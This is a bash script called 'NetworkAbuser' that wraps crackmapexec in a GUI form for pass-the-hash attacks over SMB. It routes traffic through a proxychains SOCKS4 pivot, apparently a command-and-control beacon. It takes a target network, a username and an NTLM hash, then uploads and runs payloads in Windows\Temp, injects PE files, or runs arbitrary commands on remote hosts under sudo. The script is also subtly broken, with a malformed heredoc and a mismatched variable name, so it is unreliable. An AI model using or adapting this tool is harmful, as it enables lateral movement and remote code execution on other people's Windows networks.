#!/bin/bash cat</etc/proxychains.conf quiet_mode dynamic_chain [ProxyList] socks4 XHOSTIP 27500 EOF zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --forms --title="NetworkAbuser" --width="400" --text="Wait for Starting client... in beacon console" \ --add-entry="network " --add-entry="username " --add-entry="hash " --add-combo="method" --combo-values="put|inject|execute" &> /tmp/.values CIDR="$(cat /tmp/.values | cut -d'|' -f1)" USER="$(cat /tmp/.values | cut -d'|' -f2)" HASH="$(cat /tmp/.values | cut -d'|' -f3)" METH="$(cat /tmp/.values | cut -d'|' -f4)" if [ -z "$CIDR" ] || [ -z "$USER" ] || [ -z "$HASH" ] ; then exit 0 ; fi if test "$METH" = "put" || test "$METH" = "inject" ; then INPUT="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --file-selection --title=NetworkAbuser)" ; OUTPUT="$(echo $INPUT | awk -F'/' '{print $NF}')" elif test "$METH" = "execute" ; then EXECCMD="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --title=NetworkAbuser --text='Enter your command...' --width=400 --entry)" fi if test "$METH" = "put" ; then echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH --put-file $INPUT \\\\Windows\\\\Temp\\\\$OUTPUT -x \\\\Windows\\\\Temp\\\\$OUTPUT" > /tmp/.crackmapexeccmd elif test "$METH" = "inject" ; then echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -M pe_inject -o PATH=$INPUT" > /tmp/.crackmapexeccmd elif test "$METH" = "execute" ; then echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -x "$EXECMD"" > /tmp/.crackmapexeccmd fi chmod +x /tmp/.crackmapexeccmd ; xfce4-terminal --fullscreen --hide-menubar --hide-toolbar --hide-scrollbar -e 'sudo /tmp/.crackmapexeccmd' --hold